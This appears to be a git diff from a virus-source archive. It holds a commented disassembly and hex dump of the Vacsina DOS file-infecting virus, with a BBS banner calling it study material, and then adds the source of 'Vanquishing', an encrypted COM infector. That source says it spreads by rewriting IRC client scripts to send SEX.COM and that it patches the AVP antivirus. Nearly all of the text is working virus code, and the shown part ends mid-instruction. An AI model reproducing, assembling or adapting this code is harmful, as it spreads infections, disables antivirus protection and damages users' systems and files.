POP DS +13B0:0703 BA0C00 MOV DX,000C +13B0:0706 B90600 MOV CX,0006 +13B0:0709 B43F MOV AH,3F +13B0:070B CD21 INT 21 ;els 6 byte olvassa +13B0:070D 7219 JB 0728 +13B0:070F 3D0600 CMP AX,0006 +13B0:0712 7514 JNZ 0728 ;bejtt mind ? +13B0:0714 2E CS: +13B0:0715 813E0C004D5A CMP WORD PTR [000C],5A4D ;EXE file ? +13B0:071B 7503 JNZ 0720 ;nem +13B0:071D E9B501 JMP 08D5 +13B0:0720 2E CS: +13B0:0721 803E0C00E9 CMP BYTE PTR [000C],E9 ;COM file ? +13B0:0726 7403 JZ 072B ;igen +13B0:0728 E96F01 JMP 089A + ;Teendk COM file esetn +13B0:072B B80242 MOV AX,4202 +13B0:072E B90000 MOV CX,0000 +13B0:0731 8BD1 MOV DX,CX +13B0:0733 2E CS: +13B0:0734 8B1E0A00 MOV BX,[000A] +13B0:0738 CD21 INT 21 ;file mret lekrdezse +13B0:073A 72EC JB 0728 +13B0:073C 83FA00 CMP DX,+00 ;65535 nl nagyobb ? +13B0:073F 75E7 JNZ 0728 ;igen +13B0:0741 3DB604 CMP AX,04B6 ;1026 nl kisebb ? +13B0:0744 76E2 JBE 0728 ;igen +13B0:0746 3D93F5 CMP AX,F593 ;62867-nl nagyobb ? +13B0:0749 73DD JNB 0728 ;igen +13B0:074B 2E CS: +13B0:074C A39E04 MOV [049E],AX ;mret megjegyzse +13B0:074F 2E CS: +13B0:0750 A10D00 MOV AX,[000D] +13B0:0753 050301 ADD AX,0103 +13B0:0756 2E CS: +13B0:0757 A3A004 MOV [04A0],AX +13B0:075A B80242 MOV AX,4202 +13B0:075D B9FFFF MOV CX,FFFF +13B0:0760 BAF8FF MOV DX,FFF8 +13B0:0763 2E CS: +13B0:0764 8B1E0A00 MOV BX,[000A] +13B0:0768 CD21 INT 21 ;file mretnek megnvelse +13B0:076A 72BC JB 0728 +13B0:076C 2E CS: +13B0:076D 8B1E0A00 MOV BX,[000A] +13B0:0771 0E PUSH CS +13B0:0772 1F POP DS +13B0:0773 BA0C00 MOV DX,000C +13B0:0776 B90800 MOV CX,0008 +13B0:0779 B43F MOV AH,3F +13B0:077B CD21 INT 21 ;8 byte be +13B0:077D 72A9 JB 0728 +13B0:077F 3D0800 CMP AX,0008 ;bejtt mind ? +13B0:0782 75A4 JNZ 0728 ;nem +13B0:0784 2E CS: +13B0:0785 813E1000F47A CMP WORD PTR [0010],7AF4 ;? +13B0:078B 7577 JNZ 0804 +13B0:078D 2E CS: +13B0:078E 833E120005 CMP WORD PTR [0012],+05 ;? +13B0:0793 90 NOP +13B0:0794 7392 JNB 0728 +13B0:0796 2E CS: +13B0:0797 A10C00 MOV AX,[000C] ;els beolvasott sz +13B0:079A 2E CS: +13B0:079B A39E04 MOV [049E],AX +13B0:079E 2E CS: +13B0:079F A10E00 MOV AX,[000E] +13B0:07A2 2E CS: +13B0:07A3 A3A004 MOV [04A0],AX +13B0:07A6 2D0301 SUB AX,0103 +13B0:07A9 2E CS: +13B0:07AA A30C00 MOV [000C],AX +13B0:07AD B80042 MOV AX,4200 +13B0:07B0 B90000 MOV CX,0000 +13B0:07B3 BA0100 MOV DX,0001 +13B0:07B6 2E CS: +13B0:07B7 8B1E0A00 MOV BX,[000A] +13B0:07BB CD21 INT 21 ;pozicionls a file 2. bytejra +13B0:07BD 725F JB 081E +13B0:07BF B440 MOV AH,40 +13B0:07C1 0E PUSH CS +13B0:07C2 1F POP DS +13B0:07C3 BA0C00 MOV DX,000C +13B0:07C6 B90200 MOV CX,0002 +13B0:07C9 CD21 INT 21 ;2 byte kirsa +13B0:07CB 7251 JB 081E +13B0:07CD 3D0200 CMP AX,0002 ;kirta mind ? +13B0:07D0 754C JNZ 081E ;nem +13B0:07D2 2E CS: +13B0:07D3 8B1E0A00 MOV BX,[000A] +13B0:07D7 B445 MOV AH,45 +13B0:07D9 CD21 INT 21 ;file handle kettzse +13B0:07DB 7208 JB 07E5 +13B0:07DD 8BD8 MOV BX,AX +13B0:07DF B43E MOV AH,3E +13B0:07E1 CD21 INT 21 ;file zrsa +13B0:07E3 7239 JB 081E +13B0:07E5 B80042 MOV AX,4200 +13B0:07E8 B90000 MOV CX,0000 +13B0:07EB 2E CS: +13B0:07EC 8B169E04 MOV DX,[049E] +13B0:07F0 2E CS: +13B0:07F1 8B1E0A00 MOV BX,[000A] +13B0:07F5 CD21 INT 21 ;elejre pozicionls +13B0:07F7 7225 JB 081E +13B0:07F9 B440 MOV AH,40 +13B0:07FB 0E PUSH CS +13B0:07FC 1F POP DS +13B0:07FD B90000 MOV CX,0000 +13B0:0800 CD21 INT 21 ;file mret belltsa +13B0:0802 721A JB 081E +13B0:0804 B80042 MOV AX,4200 +13B0:0807 B90000 MOV CX,0000 +13B0:080A 2E CS: +13B0:080B 8B169E04 MOV DX,[049E] +13B0:080F 83C20F ADD DX,+0F +13B0:0812 83E2F0 AND DX,-10 +13B0:0815 2E CS: +13B0:0816 8B1E0A00 MOV BX,[000A] +13B0:081A CD21 INT 21 ;file pointer mozgatsa +13B0:081C 7303 JNB 0821 +13B0:081E EB7A JMP 089A +13B0:0820 90 NOP +13B0:0821 2E CS: +13B0:0822 8B1E0A00 MOV BX,[000A] +13B0:0826 8CCA MOV DX,CS +13B0:0828 4A DEC DX +13B0:0829 8EDA MOV DS,DX +13B0:082B BA0000 MOV DX,0000 +13B0:082E B9B604 MOV CX,04B6 +13B0:0831 B440 MOV AH,40 +13B0:0833 CD21 INT 21 ;nmagnak kimsolsa +13B0:0835 72E7 JB 081E +13B0:0837 3DB604 CMP AX,04B6 ;sikerlt ? +13B0:083A 75E2 JNZ 081E ;nem +13B0:083C 2E CS: +13B0:083D 8B1E0A00 MOV BX,[000A] +13B0:0841 B445 MOV AH,45 +13B0:0843 CD21 INT 21 ;file handle kettzse +13B0:0845 7208 JB 084F +13B0:0847 8BD8 MOV BX,AX +13B0:0849 B43E MOV AH,3E +13B0:084B CD21 INT 21 ;file zrsa +13B0:084D 72CF JB 081E +13B0:084F 2E CS: +13B0:0850 C6060C00E9 MOV BYTE PTR [000C],E9 ;COM ? +13B0:0855 2E CS: +13B0:0856 8B169E04 MOV DX,[049E] +13B0:085A 83C20F ADD DX,+0F +13B0:085D 83E2F0 AND DX,-10 +13B0:0860 83EA03 SUB DX,+03 +13B0:0863 81C2AC03 ADD DX,03AC +13B0:0867 2E CS: +13B0:0868 89160D00 MOV [000D],DX +13B0:086C B80042 MOV AX,4200 +13B0:086F B90000 MOV CX,0000 +13B0:0872 8BD1 MOV DX,CX +13B0:0874 2E CS: +13B0:0875 8B1E0A00 MOV BX,[000A] +13B0:0879 CD21 INT 21 ;pozicionls az elejre +13B0:087B 72A1 JB 081E +13B0:087D 2E CS: +13B0:087E 8B1E0A00 MOV BX,[000A] +13B0:0882 0E PUSH CS +13B0:0883 1F POP DS +13B0:0884 BA0C00 MOV DX,000C +13B0:0887 B90300 MOV CX,0003 +13B0:088A B440 MOV AH,40 +13B0:088C CD21 INT 21 ;3 byte JMP kirsa +13B0:088E 728E JB 081E +13B0:0890 3D0300 CMP AX,0003 ;sikerlt ? +13B0:0893 7589 JNZ 081E ;nem +13B0:0895 B8070E MOV AX,0E07 +13B0:0898 CD10 INT 10 ;beep jelzs hogy fertztt + +13B0:089A B43E MOV AH,3E +13B0:089C 2E CS: +13B0:089D 8B1E0A00 MOV BX,[000A] +13B0:08A1 CD21 INT 21 ;file zrsa +13B0:08A3 B80143 MOV AX,4301 +13B0:08A6 8E5E0E MOV DS,[BP+0E] +13B0:08A9 8B5606 MOV DX,[BP+06] +13B0:08AC 2E CS: +13B0:08AD 8B0E0800 MOV CX,[0008] +13B0:08B1 CD21 INT 21 ;eredeti attrib visszalltsa +13B0:08B3 0E PUSH CS +13B0:08B4 1F POP DS +13B0:08B5 BA1400 MOV DX,0014 +13B0:08B8 B410 MOV AH,10 +13B0:08BA CD21 INT 21 ;FCB-s file zrsa +13B0:08BC B82425 MOV AX,2524 +13B0:08BF 2E CS: +13B0:08C0 C5160400 LDS DX,[0004] +13B0:08C4 CD21 INT 21 ;INT 24 az eredetire +13B0:08C6 58 POP AX +13B0:08C7 5B POP BX +13B0:08C8 59 POP CX +13B0:08C9 5A POP DX +13B0:08CA 5E POP SI +13B0:08CB 5F POP DI +13B0:08CC 5D POP BP +13B0:08CD 1F POP DS +13B0:08CE 07 POP ES +13B0:08CF 9D POPF +13B0:08D0 2E CS: +13B0:08D1 FF2E0000 JMP FAR [0000] + + ;Teendk EXE file esetn +13B0:08D5 B80242 MOV AX,4202 +13B0:08D8 B90000 MOV CX,0000 +13B0:08DB 8BD1 MOV DX,CX +13B0:08DD 2E CS: +13B0:08DE 8B1E0A00 MOV BX,[000A] +13B0:08E2 CD21 INT 21 ;file vgre poz. +13B0:08E4 72B4 JB 089A +13B0:08E6 83FA00 CMP DX,+00 ;nagyobb 65535-nl +13B0:08E9 75AF JNZ 089A ;igen +13B0:08EB 3DB3FD CMP AX,FDB3 ;nagyobb ? +13B0:08EE 73AA JNB 089A ;igen +13B0:08F0 2E CS: +13B0:08F1 A39E04 MOV [049E],AX ;mret trolsa +13B0:08F4 2E CS: +13B0:08F5 A11000 MOV AX,[0010] +13B0:08F8 48 DEC AX +13B0:08F9 B109 MOV CL,09 +13B0:08FB D3E0 SHL AX,CL +13B0:08FD 2E CS: +13B0:08FE 03060E00 ADD AX,[000E] +13B0:0902 2E CS: +13B0:0903 3B069E04 CMP AX,[049E] +13B0:0907 7591 JNZ 089A +13B0:0909 2E CS: +13B0:090A 8B1E0A00 MOV BX,[000A] +13B0:090E B440 MOV AH,40 +13B0:0910 0E PUSH CS +13B0:0911 1F POP DS +13B0:0912 BA3900 MOV DX,0039 +13B0:0915 B98400 MOV CX,0084 +13B0:0918 CD21 INT 21 ;132 byte kirsa +13B0:091A 72C8 JB 08E4 +13B0:091C 3D8400 CMP AX,0084 ;sikerlt ? +13B0:091F 75E6 JNZ 0907 ;nem +13B0:0921 2E CS: +13B0:0922 8B1E0A00 MOV BX,[000A] +13B0:0926 B445 MOV AH,45 +13B0:0928 CD21 INT 21 ;file handle megkettzse +13B0:092A 7208 JB 0934 +13B0:092C 8BD8 MOV BX,AX +13B0:092E B43E MOV AH,3E +13B0:0930 CD21 INT 21 ;file zrsa +13B0:0932 72B0 JB 08E4 +13B0:0934 B80042 MOV AX,4200 +13B0:0937 B90000 MOV CX,0000 +13B0:093A 8BD1 MOV DX,CX +13B0:093C 2E CS: +13B0:093D 8B1E0A00 MOV BX,[000A] +13B0:0941 CD21 INT 21 ;file elejre poz. +13B0:0943 729F JB 08E4 +13B0:0945 2E CS: +13B0:0946 C6060C00E9 MOV BYTE PTR [000C],E9 ;COM ? +13B0:094B 2E CS: +13B0:094C A19E04 MOV AX,[049E] +13B0:094F 051100 ADD AX,0011 +13B0:0952 2E CS: +13B0:0953 A30D00 MOV [000D],AX +13B0:0956 2E CS: +13B0:0957 8B1E0A00 MOV BX,[000A] +13B0:095B B440 MOV AH,40 +13B0:095D 0E PUSH CS +13B0:095E 1F POP DS +13B0:095F BA0C00 MOV DX,000C +13B0:0962 B90300 MOV CX,0003 +13B0:0965 CD21 INT 21 ;3 byte kirsa +13B0:0967 E930FF JMP 089A ;ugrs a file zrsra +13B0:096A 0000 ADD [BX+SI],AL + +13B0:096C E80000 CALL 096F ;Belpsi pont +13B0:096F 5B POP BX ;IP BX -be +13B0:0970 2E CS: +13B0:0971 8947FB MOV [BX-05],AX +13B0:0974 B80000 MOV AX,0000 +13B0:0977 8EC0 MOV ES,AX +13B0:0979 26 ES: +13B0:097A A1C500 MOV AX,[00C5] +13B0:097D 3D7F39 CMP AX,397F +13B0:0980 7508 JNZ 098A +13B0:0982 26 ES: +13B0:0983 A0C700 MOV AL,[00C7] +13B0:0986 3C05 CMP AL,05 +13B0:0988 7332 JNB 09BC +13B0:098A 8BD4 MOV DX,SP +13B0:098C 2BD3 SUB DX,BX +13B0:098E 81EA6C0B SUB DX,0B6C +13B0:0992 7228 JB 09BC +13B0:0994 BAC504 MOV DX,04C5 +13B0:0997 B104 MOV CL,04 +13B0:0999 D3EA SHR DX,CL +13B0:099B 2E CS: +13B0:099C 899754FC MOV [BX+FC54],DX +13B0:09A0 8CD9 MOV CX,DS +13B0:09A2 03D1 ADD DX,CX +13B0:09A4 8EC2 MOV ES,DX +13B0:09A6 8BF3 MOV SI,BX +13B0:09A8 81C651FC ADD SI,FC51 +13B0:09AC 8BFE MOV DI,SI +13B0:09AE B9B604 MOV CX,04B6 +13B0:09B1 FC CLD +13B0:09B2 F3 REPZ +13B0:09B3 A4 MOVSB +13B0:09B4 06 PUSH ES +13B0:09B5 E80300 CALL 09BB +13B0:09B8 EB13 JMP 09CD +13B0:09BA 90 NOP +13B0:09BB CB RETF + +13B0:09BC 8CC8 MOV AX,CS +13B0:09BE 8ED8 MOV DS,AX +13B0:09C0 8EC0 MOV ES,AX +13B0:09C2 8ED0 MOV SS,AX +13B0:09C4 2E CS: +13B0:09C5 8B47FB MOV AX,[BX-05] +13B0:09C8 2E CS: +13B0:09C9 FFA70101 JMP [BX+0101] + +13B0:09CD BE0000 MOV SI,0000 +13B0:09D0 BF0000 MOV DI,0000 +13B0:09D3 8BCB MOV CX,BX +13B0:09D5 81C161FC ADD CX,FC61 +13B0:09D9 8CC2 MOV DX,ES +13B0:09DB 4A DEC DX +13B0:09DC 8EC2 MOV ES,DX +13B0:09DE 8CDA MOV DX,DS +13B0:09E0 4A DEC DX +13B0:09E1 8EDA MOV DS,DX +13B0:09E3 03F1 ADD SI,CX ;CX=48f0 +13B0:09E5 4E DEC SI +13B0:09E6 8BFE MOV DI,SI +13B0:09E8 FD STD +13B0:09E9 F3 REPZ +13B0:09EA A4 MOVSB +13B0:09EB FC CLD +13B0:09EC 2E CS: +13B0:09ED 8B9754FC MOV DX,[BX+FC54] +13B0:09F1 26 ES: +13B0:09F2 29160300 SUB [0003],DX +13B0:09F6 26 ES: +13B0:09F7 8C0E0100 MOV [0001],CS +13B0:09FB BF0000 MOV DI,0000 +13B0:09FE 8BF3 MOV SI,BX +13B0:0A00 81C651FC ADD SI,FC51 +13B0:0A04 B9B604 MOV CX,04B6 ;byte-ok szma +13B0:0A07 1E PUSH DS +13B0:0A08 07 POP ES ;ES=DS +13B0:0A09 0E PUSH CS +13B0:0A0A 1F POP DS ;DS=CS +13B0:0A0B F3 REPZ +13B0:0A0C A4 MOVSB ;nmagnak tpakolsa +13B0:0A0D 26 ES: +13B0:0A0E 832E030001 SUB WORD PTR [0003],+01 +13B0:0A13 53 PUSH BX +13B0:0A14 8CCB MOV BX,CS +13B0:0A16 B450 MOV AH,50 +13B0:0A18 CD21 INT 21 ;? rezidens mr ? +13B0:0A1A 5B POP BX +13B0:0A1B 2E CS: +13B0:0A1C 8C0E3600 MOV [0036],CS +13B0:0A20 2E CS: +13B0:0A21 8B162C00 MOV DX,[002C] ;krnyezet cme +13B0:0A25 4A DEC DX +13B0:0A26 8EC2 MOV ES,DX +13B0:0A28 26 ES: +13B0:0A29 8C0E0100 MOV [0001],CS +13B0:0A2D B82135 MOV AX,3521 +13B0:0A30 53 PUSH BX +13B0:0A31 CD21 INT 21 ;INT 21h cm lekrdezse +13B0:0A33 36 SS: +13B0:0A34 8C060200 MOV [0002],ES +13B0:0A38 36 SS: +13B0:0A39 891E0000 MOV [0000],BX +13B0:0A3D 5B POP BX +13B0:0A3E B82125 MOV AX,2521 +13B0:0A41 8CD2 MOV DX,SS +13B0:0A43 8EDA MOV DS,DX +13B0:0A45 BAC000 MOV DX,00C0 +13B0:0A48 CD21 INT 21 ;INT 21h tirnytsa +13B0:0A4A B80000 MOV AX,0000 +13B0:0A4D 8EC0 MOV ES,AX +13B0:0A4F 26 ES: +13B0:0A50 C706C5007F39 MOV WORD PTR [00C5],397F ;? +13B0:0A56 26 ES: +13B0:0A57 C606C70005 MOV BYTE PTR [00C7],05 ? +13B0:0A5C 8CC8 MOV AX,CS +13B0:0A5E 8ED8 MOV DS,AX +13B0:0A60 B41A MOV AH,1A +13B0:0A62 BA5000 MOV DX,0050 +13B0:0A65 CD21 INT 21 ;DTA. belltsa +13B0:0A67 2E CS: +13B0:0A68 8B47FB MOV AX,[BX-05] +13B0:0A6B E94EFF JMP 09BC + +13B0:0A6E B704 MOV BH,04 +13B0:0A70 AC LODSB +13B0:0A71 05F47A ADD AX,7AF4 +13B0:0A74 050000 ADD AX,0000 +13B0:0A77 0000 ADD [BX+SI],AL + + +Dumped list: + +13B0:0000 CD 20 00 A0 00 9A F0 FE-1D F0 F4 02 E7 0F 2F 03 . ............/. +13B0:0010 E7 0F BC 02 E7 0F AF 0F-01 03 01 00 02 FF FF FF ................ +13B0:0020 FF FF FF FF FF FF FF FF-FF FF FF FF A7 13 4C 01 ..............L. +13B0:0030 21 13 14 00 18 00 B0 13-FF FF FF FF 00 00 00 00 !............... +13B0:0040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +13B0:0050 CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20 .!........... +13B0:0060 20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20 ..... +13B0:0070 20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00 ........ +13B0:0080 01 20 0D 61 63 73 76 2E-63 6F 6D 20 0D 63 3A 5C . .acsv.com .c:\ +13B0:0090 75 74 69 6C 3B 63 3A 5C-75 74 69 6C 5C 78 79 77 util;c:\util\xyw +13B0:00A0 72 69 74 65 3B 63 3A 5C-6E 79 65 6C 76 65 6B 5C rite;c:\nyelvek\ +13B0:00B0 64 62 61 73 65 3B 63 3A-5C 6E 79 65 6C 76 65 6B dbase;c:\nyelvek +13B0:00C0 5C 63 6C 69 70 70 65 72-0D 00 00 00 00 00 00 00 \clipper........ +13B0:00D0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +13B0:00E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +13B0:00F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +13B0:0100 E9 69 08 49 60 6D 20 61-20 56 61 63 73 69 6E 61 .i.I`m a Vacsina +13B0:0110 20 56 49 52 55 53 21 0D-0A 24 00 00 00 00 00 00 VIRUS!..$...... +13B0:0120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ + +13B0:0590 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +13B0:05A0 00 00 00 00 00 00 00 00-00 00 00 00 B4 09 BA 03 ................ +13B0:05B0 01 CD 21 B4 00 CD 20 00-5D 00 5E 00 FF FF 60 00 ..!... .].^...`. +13B0:05C0 4D 07 00 4B 00 00 00 00-00 00 00 00 00 00 00 00 M..K............ +13B0:05D0 72 0E AE 0F 56 05 20 0D-20 00 05 00 03 01 CD 21 r...V. . ......! +13B0:05E0 B4 00 CD 20 00 56 41 43-53 49 4E 41 20 20 20 20 ... .VACSINA +13B0:05F0 00 00 80 00 00 00 00 00-7C 11 37 A8 00 40 C2 00 ........|.7..@.. +13B0:0600 46 0A 00 00 00 00 00 00-00 20 20 20 20 20 20 20 F........ +13B0:0610 20 20 20 20 20 20 20 20-20 20 20 20 20 E8 00 00 ... +13B0:0620 5B 50 8C C0 05 10 00 8B-0E 0E 01 03 C8 89 4F FB [P............O. +13B0:0630 8B 0E 16 01 03 C8 89 4F-F7 8B 0E 10 01 89 4F F9 .......O......O. +13B0:0640 8B 0E 14 01 89 4F F5 8B-3E 18 01 8B 16 08 01 B1 .....O..>....... +13B0:0650 04 D3 E2 8B 0E 06 01 E3-17 26 C5 B5 00 01 83 C7 .........&...... +13B0:0660 04 8C DD 26 03 2E 08 01-03 E8 8E DD 01 04 E2 E9 ...&............ +13B0:0670 0E 1F BF 00 01 8B F2 81-C6 00 01 8B CB 2B CE F3 .............+.. +13B0:0680 A4 58 FA 8E 57 FB 8B 67-F9 FB FF 6F F5 B0 03 CF .X..W..g...o.... +13B0:0690 9C 3D 00 4B 74 06 9D 2E-FF 2E 00 00 06 1E 55 57 .=.Kt.........UW +13B0:06A0 56 52 51 53 50 8B EC B8-24 35 CD 21 2E 8C 06 06 VRQSP...$5.!.... +13B0:06B0 00 2E 89 1E 04 00 0E 1F-BA BD 00 B8 24 25 CD 21 ............$%.! +13B0:06C0 0E 1F BA 14 00 B4 0F CD-21 B8 00 43 8E 5E 0E 8B ........!..C.^.. +13B0:06D0 56 06 CD 21 73 03 E9 DA-01 2E 89 0E 08 00 B8 01 V..!s........... +13B0:06E0 43 80 E1 FE CD 21 73 03-E9 C8 01 B8 02 3D 8E 5E C....!s......=.^ +13B0:06F0 0E 8B 56 06 CD 21 73 03-E9 A8 01 2E A3 0A 00 8B ..V..!s......... +13B0:0700 D8 0E 1F BA 0C 00 B9 06-00 B4 3F CD 21 72 19 3D ..........?.!r.= +13B0:0710 06 00 75 14 2E 81 3E 0C-00 4D 5A 75 03 E9 B5 01 ..u...>..MZu.... +13B0:0720 2E 80 3E 0C 00 E9 74 03-E9 6F 01 B8 02 42 B9 00 ..>...t..o...B.. +13B0:0730 00 8B D1 2E 8B 1E 0A 00-CD 21 72 EC 83 FA 00 75 .........!r....u +13B0:0740 E7 3D B6 04 76 E2 3D 93-F5 73 DD 2E A3 9E 04 2E .=..v.=..s...... +13B0:0750 A1 0D 00 05 03 01 2E A3-A0 04 B8 02 42 B9 FF FF ............B... +13B0:0760 BA F8 FF 2E 8B 1E 0A 00-CD 21 72 BC 2E 8B 1E 0A .........!r..... +13B0:0770 00 0E 1F BA 0C 00 B9 08-00 B4 3F CD 21 72 A9 3D ..........?.!r.= +13B0:0780 08 00 75 A4 2E 81 3E 10-00 F4 7A 75 77 2E 83 3E ..u...>...zuw..> +13B0:0790 12 00 05 90 73 92 2E A1-0C 00 2E A3 9E 04 2E A1 ....s........... +13B0:07A0 0E 00 2E A3 A0 04 2D 03-01 2E A3 0C 00 B8 00 42 ......-........B +13B0:07B0 B9 00 00 BA 01 00 2E 8B-1E 0A 00 CD 21 72 5F B4 ............!r_. +13B0:07C0 40 0E 1F BA 0C 00 B9 02-00 CD 21 72 51 3D 02 00 @.........!rQ=.. +13B0:07D0 75 4C 2E 8B 1E 0A 00 B4-45 CD 21 72 08 8B D8 B4 uL......E.!r.... +13B0:07E0 3E CD 21 72 39 B8 00 42-B9 00 00 2E 8B 16 9E 04 >.!r9..B........ +13B0:07F0 2E 8B 1E 0A 00 CD 21 72-25 B4 40 0E 1F B9 00 00 ......!r%.@..... +13B0:0800 CD 21 72 1A B8 00 42 B9-00 00 2E 8B 16 9E 04 83 .!r...B......... +13B0:0810 C2 0F 83 E2 F0 2E 8B 1E-0A 00 CD 21 73 03 EB 7A ...........!s..z +13B0:0820 90 2E 8B 1E 0A 00 8C CA-4A 8E DA BA 00 00 B9 B6 ........J....... +13B0:0830 04 B4 40 CD 21 72 E7 3D-B6 04 75 E2 2E 8B 1E 0A ..@.!r.=..u..... +13B0:0840 00 B4 45 CD 21 72 08 8B-D8 B4 3E CD 21 72 CF 2E ..E.!r....>.!r.. +13B0:0850 C6 06 0C 00 E9 2E 8B 16-9E 04 83 C2 0F 83 E2 F0 ................ +13B0:0860 83 EA 03 81 C2 AC 03 2E-89 16 0D 00 B8 00 42 B9 ..............B. +13B0:0870 00 00 8B D1 2E 8B 1E 0A-00 CD 21 72 A1 2E 8B 1E ..........!r.... +13B0:0880 0A 00 0E 1F BA 0C 00 B9-03 00 B4 40 CD 21 72 8E ...........@.!r. +13B0:0890 3D 03 00 75 89 B8 07 0E-CD 10 B4 3E 2E 8B 1E 0A =..u.......>.... +13B0:08A0 00 CD 21 B8 01 43 8E 5E-0E 8B 56 06 2E 8B 0E 08 ..!..C.^..V..... +13B0:08B0 00 CD 21 0E 1F BA 14 00-B4 10 CD 21 B8 24 25 2E ..!........!.$%. +13B0:08C0 C5 16 04 00 CD 21 58 5B-59 5A 5E 5F 5D 1F 07 9D .....!X[YZ^_]... +13B0:08D0 2E FF 2E 00 00 B8 02 42-B9 00 00 8B D1 2E 8B 1E .......B........ +13B0:08E0 0A 00 CD 21 72 B4 83 FA-00 75 AF 3D B3 FD 73 AA ...!r....u.=..s. +13B0:08F0 2E A3 9E 04 2E A1 10 00-48 B1 09 D3 E0 2E 03 06 ........H....... +13B0:0900 0E 00 2E 3B 06 9E 04 75-91 2E 8B 1E 0A 00 B4 40 ...;...u.......@ +13B0:0910 0E 1F BA 39 00 B9 84 00-CD 21 72 C8 3D 84 00 75 ...9.....!r.=..u +13B0:0920 E6 2E 8B 1E 0A 00 B4 45-CD 21 72 08 8B D8 B4 3E .......E.!r....> +13B0:0930 CD 21 72 B0 B8 00 42 B9-00 00 8B D1 2E 8B 1E 0A .!r...B......... +13B0:0940 00 CD 21 72 9F 2E C6 06-0C 00 E9 2E A1 9E 04 05 ..!r............ +13B0:0950 11 00 2E A3 0D 00 2E 8B-1E 0A 00 B4 40 0E 1F BA ............@... +13B0:0960 0C 00 B9 03 00 CD 21 E9-30 FF 00 00 E8 00 00 5B ......!.0......[ +13B0:0970 2E 89 47 FB B8 00 00 8E-C0 26 A1 C5 00 3D 7F 39 ..G......&...=.9 +13B0:0980 75 08 26 A0 C7 00 3C 05-73 32 8B D4 2B D3 81 EA u.&...<.s2..+... +13B0:0990 6C 0B 72 28 BA C5 04 B1-04 D3 EA 2E 89 97 54 FC l.r(..........T. +13B0:09A0 8C D9 03 D1 8E C2 8B F3-81 C6 51 FC 8B FE B9 B6 ..........Q..... +13B0:09B0 04 FC F3 A4 06 E8 03 00-EB 13 90 CB 8C C8 8E D8 ................ +13B0:09C0 8E C0 8E D0 2E 8B 47 FB-2E FF A7 01 01 BE 00 00 ......G......... +13B0:09D0 BF 00 00 8B CB 81 C1 61-FC 8C C2 4A 8E C2 8C DA .......a...J.... +13B0:09E0 4A 8E DA 03 F1 4E 8B FE-FD F3 A4 FC 2E 8B 97 54 J....N.........T +13B0:09F0 FC 26 29 16 03 00 26 8C-0E 01 00 BF 00 00 8B F3 .&)...&......... +13B0:0A00 81 C6 51 FC B9 B6 04 1E-07 0E 1F F3 A4 26 83 2E ..Q..........&.. +13B0:0A10 03 00 01 53 8C CB B4 50-CD 21 5B 2E 8C 0E 36 00 ...S...P.![...6. +13B0:0A20 2E 8B 16 2C 00 4A 8E C2-26 8C 0E 01 00 B8 21 35 ...,.J..&.....!5 +13B0:0A30 53 CD 21 36 8C 06 02 00-36 89 1E 00 00 5B B8 21 S.!6....6....[.! +13B0:0A40 25 8C D2 8E DA BA C0 00-CD 21 B8 00 00 8E C0 26 %........!.....& +13B0:0A50 C7 06 C5 00 7F 39 26 C6-06 C7 00 05 8C C8 8E D8 .....9&......... +13B0:0A60 B4 1A BA 50 00 CD 21 2E-8B 47 FB E9 4E FF B7 04 ...P..!..G..N... +13B0:0A70 AC 05 F4 7A 05 00 00 00 ...z.... + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; diff --git a/MSDOS/Virus.MSDOS.Unknown.vanq.asm b/MSDOS/Virus.MSDOS.Unknown.vanq.asm new file mode 100644 index 00000000..8169e198 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vanq.asm @@ -0,0 +1,266 @@ +; Vanquishing by Arsonic +; Type: Direct Action Appending COM infector +; +; Notes: Attempts to Spread VIA Irc Clients by modifying the Script.ini +; to send a file called SEX.COM to everyone who joins a Channel the infected +; person is currently on. +; +; Attempts to patch the avp antivirus. +; +; +; Detection Stats: +; AVP: NOTHING +;FPROT: NOTHING +; TBAV: NOTHING +; +db 0e9h,0,0 +VANQUISHING_START: + +call DELTA +DELTA: +pop bp +sub bp,offset DELTA + +lea si,[bp+ENCRYPTION_START] +mov di,si +mov cx,VANQUISHING_END - ENCRYPTION_START +call CRYPTO +jmp ENCRYPTION_START + +CRYPTO: +lodsb +ror al,3 +not al +xor al,byte ptr [bp+KEY] +not al +rol al,3 +stosb +loop CRYPTO +ret + +KEY db 0 + +ENCRYPTION_START: +mov di,100h +mov cx,3 +cmp byte ptr [bp+BUFF_STORE],1 +jne BUFF_SEC +lea si,[bp+BUFF_THREE_ONE] +jmp RESTORE_BUFFER +BUFF_SEC: +lea si,[bp+BUFF_THREE_TWO] +RESTORE_BUFFER: +rep movsb + +mov ah,3ch +xor cx,cx +lea dx,[bp+AVPSET] +int 21h +jc FIND_FIRST + +xchg bx,ax + +mov ah,40h +lea dx,[bp+Patch_Start] +mov cx,Patch_End - Patch_Start +int 21h + +mov ah,3eh +int 21h + +FIND_FIRST: +mov ah,4dh +lea dx,[bp+FILEMASK] +FIND_NEXT: +call INC_CALL +int 21h +jnc INFECT + +mov ah,3bh +lea dx,[bp+DOTDOT] +int 21h +jnc FIND_FIRST + +mov ah,3ch +lea dx,[bp+Script] +xor cx,cx +int 21h +jc CLOSE + +xchg bx,ax + +mov 